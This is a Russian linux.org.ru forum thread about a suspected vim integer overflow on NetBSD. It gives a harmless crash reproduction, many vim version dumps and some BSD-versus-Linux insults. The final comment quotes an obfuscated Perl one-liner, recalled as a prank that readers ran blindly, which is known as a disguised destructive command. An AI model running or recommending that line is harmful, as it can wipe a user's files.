LINUX.ORG.RU

Целочисленное переполнение в vim

 ,


0

0

На данный момент наличие бага, возможно приводящему к выполнению произвольного кода с правами запустившего vim юзера, подтверждено только в NetBSD для версий vim-7.1.315 и vim-7.2.0. Аналогичные версии в Linux пока не показали наличие проблемы, а другие BSD не протестированы. Обращаюсь к пользователям linux.org.ru с просьбой проверить эту проблемы на разных версиях vim и под разными ОС.

Для демонстрации достаточно файла из 4х символов-пробелов:
| hexdump -Cv
00000000 20 20 20 20 0a | .|
00000005

Если поставить курсор на 3-й пробел и выполнить: ctrl+v $ c
то возникнет ошибка
E341: Internal error: lalloc(0, )
cannot yank; delete anyway (y/n)?
а если поставить курсор на 4ый (последний пробел) и выполнить ту же последовательность (ctrl+v $ c), то возникает
E342: Out of memory! (allocating 4294967295 bytes)
cannot yank; delete anyway (y/n)?

Возможно, баг дорабатывается до выполнения произвольного кода от имени пользователя при открытии специального сформированного файла и совершении определённых действий.

>>> pkg/39375

anonymous

Проверено: Shaman007 ()

Опции компиляции для 7.2, подверженному проблеме (NetBSD):

VIM - Vi IMproved 7.2 (2008 Aug 9, compiled Aug 18 2008 15:14:05)
Modified by martti@NetBSD.org
Compiled by user@user
Normal version without GUI. Features included (+) or not (-):
-arabic +autocmd -balloon_eval -browse -builtin_terms +byte_offset +cindent
-clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
+cryptv -cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
-emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path
+float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
+jumplist -keymap -langmap +libcall +linebreak +lispindent +listcmds +localmap
+menu +mksession +modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm
-mouse_jsbterm -mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte
+multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl +postscript
+printer -profile -python +quickfix +reltime -rightleft -ruby +scrollbind
-signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary
+tag_old_static -tag_any_white -tcl -terminfo +termresponse +textobjects +title
-toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo
+vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp
-xterm_clipboard -xterm_save
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
user exrc file: "$HOME/.exrc"
fall-back for $VIM: "/usr/pkg/share/vim"
Compilation:
cc -c -I. -Iproto -DHAVE_CONFIG_H -I/usr/include -O2 -I/usr/include
Linking: cc -L/usr/lib -Wl,-R/usr/lib -Wl,-R/usr/pkg/lib -o vim -lm -ltermcap -liconv -lintl

anonymous
()

Замените | hexdump -Cv на
cat filename | hexdump -Cv
для понятности, а то продолбалось.

anonymous
()
Ответ на: комментарий от anonymous

>Уже давно все перешли на Gedit

Вот чем меня радуют анонимусы - так это тупым офтопиком.

По делу: Баг не обнаруживается

FreeBSD 6.3-STABLE i386

VIM - Vi IMproved 7.1 (2007 May 12, compiled Aug 5 2008 12:42:24) Included patches: 1-2, 4-6, 8-40, 42-64, 66-69, 71, 73-79, 81-87, 89-90, 93-123, 125-127, 130-133, 135-145, 147-157, 159-167, 169-195, 197-203, 205-274, 276-277, 279, 281, 284, 286-311, 313-320, 322-330 Normal version without GUI. Features included (+) or not (-): -arabic +autocmd -balloon_eval -browse +builtin_terms +byte_offset +cindent -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments +cryptv -cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic -emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path +folding -footer +fork() -gettext -hangul_input -iconv +insert_expand +jumplist -keymap -langmap +libcall +linebreak +lispindent +listcmds +localmap +menu +mksession +modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm -mouse_jsbterm -mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl +postscript +printer -profile -python +quickfix +reltime -rightleft -ruby +scrollbind -signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp -xterm_clipboard -xterm_save system vimrc file: "$VIM/vimrc" user vimrc file: "$HOME/.vimrc" user exrc file: "$HOME/.exrc" fall-back for $VIM: "/usr/local/share/vim" Compilation: cc -c -I. -Iproto -DHAVE_CONFIG_H -O2 -fno-strict-aliasing -pipe Linking: cc -o vim -ltermlib

stellar
()

Посты доказывают, что BSD как Цой - RIP давно, но никто не хочет этого понять.

anonymous
()
Ответ на: комментарий от beastie

VIM - Vi IMproved 7.1 (2007 May 12, compiled Mar 10 2008 15:44:56)
Included patches: 1-2, 4-6, 8-40, 42-64, 66-69, 71, 73-79, 81-87, 89-90, 93-121,
125, 127, 130-133, 135-145, 147-157, 159-167, 169-175, 177, 179-185, 188-190, 1
92-195, 198-203, 205-244, 126
Compiled by naddy@i386new.ports.openbsd.org
Normal version without GUI. Features included (+) or not (-):
-arabic +autocmd -balloon_eval -browse +builtin_terms +byte_offset +cindent
-clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
+cryptv -cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
-emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path
+folding -footer +fork() +gettext -hangul_input +iconv +insert_expand +jumplist
-keymap -langmap +libcall +linebreak +lispindent +listcmds +localmap +menu
+mksession +modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm
-mouse_jsbterm -mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme
-netbeans_intg -osfiletype +path_extra -perl +postscript +printer -profile
-python +quickfix +reltime -rightleft -ruby +scrollbind -signs +smartindent
-sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static
-tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar
+user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace
+wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp
-xterm_clipboard -xterm_save
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
user exrc file: "$HOME/.exrc"
fall-back for $VIM: "/usr/local/share/vim"
Compilation:
cc -c -I. -Iproto -DHAVE_CONFIG_H -I/usr/local/include -O2 -pipe
Linking: cc -L/usr/local/lib -o vim -lcurses -lintl -liconv

beastie ★★★★★
()
Ответ на: комментарий от anonymous

>Посты доказывают, что BSD как Цой - RIP давно, но никто не хочет этого понять.

Посты доказывают, что анонизмусы как были тыпым быдлом, так и остались.

stellar
()

Есть такое понятие как костыли. М.б. баг в виме, а в линуксе костыли для обхода таких багов - тогда понятно почему в Linux не наблюдается. М.б. баг в NetBSD, а в виме нет костылей - тоже понятно и пр. Разобраться, где баги, а где костыли, очень сложно. Отсюда и лезут баги, проявляющиеся при невероятном стечении обстоятельств... Баги, которые проявляются всегда и везде, неинтересны - их сразу же закрывают.

anonymous
()
Ответ на: комментарий от beastie

>same here, OpenBSD 4.3, vim-7.1.244p0-no_x11 >beastie (*) (18.08.2008 17:50:19)

same это к чему? Также нет бага как и во фре или также есть как и в netbsd?

anonymous
()

Вот же дерьмо это ваше БЗД. Проверил на нескольких вимах под рукой (vim-enhanced-6.3.046-0.40E.7, vim-enhanced-7.0.109-3.el5.3, vim-enhanced-7.1.245-1.fc8, vim-enhanced-7.1.291-1.fc9 - в разных комбинациях под i386 и x86-64), ни на одном бага не наблюдается. А бзд - решето, даже в такой безупречной программе, как vim, сумели сегфолт сотворить.

Думаю, глюки в тамошней libc. Это недразумение мало того, что не поддерживает половины возможностей православной glibc, так еще и глючное как хрен знает что.

anonymous
()
Ответ на: комментарий от anonymous

>Вот же дерьмо это ваше БЗД.

Убей себя об стену, анонимный идиот.

Бага нет: FreeBSD 7.0-STABLE i386 VIM - Vi IMproved 7.1 (2007 May 12, compiled May 30 2008 13:24:51) Included patches: 1-2, 4-6, 8-40, 42-64, 66-69, 71, 73-79, 81-87, 89-90, 93-123, 125-127, 130-133, 135-145, 147-157, 159-167, 169-195, 197-203, 205-274, 276-277, 279, 281, 284, 286-293 Compiled by ashetuhin@freebsd-test.bulyon.local Normal version without GUI. Features included (+) or not (-): -arabic +autocmd -balloon_eval -browse +builtin_terms +byte_offset +cindent -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments +cryptv -cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic -emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path +folding -footer +fork() -gettext -hangul_input +iconv +insert_expand +jumplist -keymap -langmap +libcall +linebreak +lispindent +listcmds +localmap +menu +mksession +modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm -mouse_jsbterm -mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl +postscript +printer -profile -python +quickfix +reltime -rightleft -ruby +scrollbind -signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp -xterm_clipboard -xterm_save system vimrc file: "$VIM/vimrc" user vimrc file: "$HOME/.vimrc" user exrc file: "$HOME/.exrc" fall-back for $VIM: "/usr/local/share/vim" Compilation: cc -c -I. -Iproto -DHAVE_CONFIG_H -I/usr/local/include -O2 -fno-strict-aliasing -pipe Linking: cc -L/usr/local/lib -o vim -ltermlib -liconv

stellar
()

Проверил, не работает (Linux). Однако баг крутой, и воспроизвести надо постараться, и "с правами пользователя", тоже не впечатляет.

fractaler ★★★★★
()

>>Возможно, баг дорабатывается до выполнения произвольного кода от имени пользователя при открытии специального сформированного файла и совершении определённых действий.

в баше такая же фигня =) тоже можно выполнить произвольный код от имени пользователя.

alex_custov ★★★★★
()
Ответ на: комментарий от ovk48

>>notepad.exe

а баг с Биллом уже поправили? Или заапгрейдили? Ведь Билл уже ушёл...

alex_custov ★★★★★
()
Ответ на: комментарий от anonymous

>Быдло детектед

Из рекурсии сам выйти сможешь, быдло-кун?

stellar
()

отрывать, отрывать... отрывать сразу, без лишних вопросов, и прижигать, чтобы не выросли новые.

anonymous
()

vim-7.1.315 на NetBSD 3.0 не вызывает ошибки, однако он же на NetBSD 4.99.71 (это current) - вызывает. На 4.0 stable протестить не могу. Также выяснено, что ~/.vimrc не влияет на исход. Под подозрение подпадает базовая система NetBSD-current (libc?).

автор топика

anonymous
()

В BSD уже был 25летний баг котоырй как бы и "не проявлялся", так что кто здесь сказал про стройную конструкцию костылей - это в тему.

anonymous
()
Ответ на: комментарий от alex_custov

>в баше такая же фигня =) тоже можно выполнить произвольный код от имени пользователя.

файлик могут админу прислать по почте и попросить посмотреть в текстовом редакторе. И если он сидя в админской консоли, откроет его в виме и при этом выполнится неий сценарий от его имени - будет круто.

ЗЫ Но в данном случае эт врядли...

AVL2 ★★★★★
()
Ответ на: комментарий от anonymous

>Если админ нормальный - то он откроет emacs :)

а в нем шел, а в нем vim

st0ke
()
Ответ на: комментарий от anonymous

> Если админ нормальный - то он откроет emacs :)

То есть в некой компании админа, которому пришла в голову "гениальная" мысль взгромоздить (x)emacs на боевой сервер не уволили немедленно? Интересные дела творятся, однако..

anonymous
()

opensuse 11, отсутствует

anonymous
()

Бага нет, Mandriva 2008.0

VIM - Vi IMproved 7.1 (2007 May 12, compiled Sep 7 2007 17:08:35) Заплатки: 1-87 Скомпилирован Anssi Hannula <anssi@mandriva.org> Огромная версия без графического интерфейса. Включённые (+) и отключённые (-) особенности: +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments +cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand +jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap +menu +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm -mouse_jsbterm +mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra +perl +postscript +printer +profile +python +quickfix +reltime +rightleft -ruby +scrollbind +signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp -xterm_clipboard -xterm_save общесистемный файл vimrc: "/etc/vim/vimrc" пользовательский файл vimrc: "$HOME/.vimrc" пользовательский файл exrc: "$HOME/.exrc" значение $VIM по умолчанию: "/usr/share/vim" Параметры компиляции: gcc -c -I. -Iproto -DHAVE_CONFIG_H -O2 -g -pipe -Wp,-D_FORTIFY_SOURCE=2 -fstack-protector --param=ssp-buffer-size=4 -fexceptions -fomit-frame-pointer -march=i586 -mtune=generic -fasynchronous-unwind-tables -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm -I/usr/lib/perl5/5.8.8/i386-linux/CORE -I/usr/include/python2.5 -pthread Сборка: gcc -Wl,-E -Wl,-rpath,/usr/lib/perl5/5.8.8/i386-linux/CORE -L/usr/local/lib -o vim -ltermcap -lacl -Wl,-E -Wl,-rpath,/usr/lib/perl5/5.8.8/i386-linux/CORE -L/usr/local/lib /usr/lib/perl5/5.8.8/i386-linux/auto/DynaLoader/DynaLoader.a -L/usr/lib/perl5/5.8.8/i386-linux/CORE -lperl -lutil -lc -L/usr/lib/python2.5/config -lpython2.5 -lutil -lm -Xlinker -export-dynamic

st0ke
()
Ответ на: комментарий от anonymous

>(x)emacs на боевой сервер

Ну а чем конфиги править? Я редактирую на VPS через ssh с помощью nano и emacs (консольный естественно).

anonymous
()

>выполнению произвольного кода с правами запустившего

Мне это не страшно , я сам могу любой код со своими правами запускать ...

VIM
()

1) To moderators: отметьте в теме, что актуально только для NetBSD-current.
2) Где штатные NetBSDшники? dlagno, soko1, sibl, кто там ещё... Неужели ни у кого нет NetBSD 4.0 и выше?

anonymous
()
Ответ на: комментарий от anonymous

s/1)актуально только для NetBSD-current./1)актуально только для NetBSD-current и, возможно, 4.0-stable./

anonymous
()
Ответ на: комментарий от polachok

Net у него точно была, он её даже на серваки afaik ставил.

anonymous
()
Ответ на: комментарий от anonymous

>Разобраться, где баги, а где костыли, очень сложно. Отсюда и лезут баги, проявляющиеся при невероятном стечении обстоятельств... Баги, которые проявляются всегда и везде, неинтересны - их сразу же закрывают.

Баги на костылях... Это которые INVALID, что ли?

По теме сказать нечего, у меня не воспроизводится. Хоть бы в Linux все уязвимости такие были, благо лунное затмение уже прошло.

lodin ★★★★
()

бага нет

cogentoo ~ $ uname -snr
Linux cogentoo 2.6.22-co-0.7.2

cogentoo ~ $ vim --version
VIM - Vi IMproved 7.2 (2008 Aug 9, compiled Aug 15 2008 18:56:49)
Modified by Gentoo-7.2
Compiled by root@cogentoo
Huge version without GUI.  Features included (+) or not (-):
+arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
+clientserver +clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
+cryptv -cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
+emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
+float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
+jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap
+menu +mksession +modify_fname +mouse -mouseshape +mouse_dec +mouse_gpm
-mouse_jsbterm +mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte
+multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra +perl +postscript
+printer +profile +python +quickfix +reltime +rightleft -ruby +scrollbind
+signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary
+tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects +title
 -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo
+vreplace +wildignore +wildmenu +windows +writebackup +X11 +xfontset -xim
+xsmp_interact +xterm_clipboard -xterm_save
   system vimrc file: "/etc/vim/vimrc"
     user vimrc file: "$HOME/.vimrc"
      user exrc file: "$HOME/.exrc"
  fall-back for $VIM: "/usr/share/vim"
Compilation: i686-pc-linux-gnu-gcc -c -I. -Iproto -DHAVE_CONFIG_H     -O2 -pipe    -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm  -I/usr/lib/perl5/5.8.8/i686-linux/CORE  -I/usr/include/python2.5 -pthread
Linking: i686-pc-linux-gnu-gcc   -rdynamic  -Wl,-O1 -L/usr/local/lib -o vim    -lXt -lcurses -lacl -lgpm   -rdynamic  -L/usr/local/lib /usr/lib/perl5/5.8.8/i686-linux/auto/DynaLoader/DynaLoader.a -L/usr/lib/perl5/5.8.8/i686-linux/CORE -lperl -lutil -lc -L/usr/lib/python2.5/config -lpython2.5 -lpthread -lutil -lm -Xlinker -export-dynamic

last_man_standing ★★
()
Ответ на: комментарий от anonymous

> Разобраться, где баги, а где костыли, очень сложно.

Да.

По делу: баг у меня не проявляется (debian linux).

www_linux_org_ru ★★★★★
()

у меня в дебиане работает нормально :)

xargs ★★★
()

Вот так вот - юзать черт знает какие не ГНУтые текстовые редакторы. С emacs такого не бывает, не то что с вашим charitywar'ным вимом. Да и функционала полезного в имаксе побольше.

anonymous
()
Ответ на: комментарий от anonymous

> Да и функционала полезного в имаксе побольше.

Полтора унитаза емаксового функционала следует закопать отдельно от емакса, дабы не воссоединились

anonymous
()

Сферический конь в вакууме... Покажите мне человека кто от имени рута откроет текстовый файлик в vim пришелший по электропочьте и я его собственоручно пристрелю. Ну, или вышлю деньги и рецепт на покупку KCN ))

gnunixon ★★★
()
Ответ на: комментарий от gnunixon

>Покажите мне человека кто от имени рута откроет текстовый файлик в vim пришелший по электропочьте и я его собственоручно пристрелю.

Тогда тебе придется пристрелить бОльшую часть ЛОРа. Особенно вспоминая эпическую жесть с командой

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

stellar
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.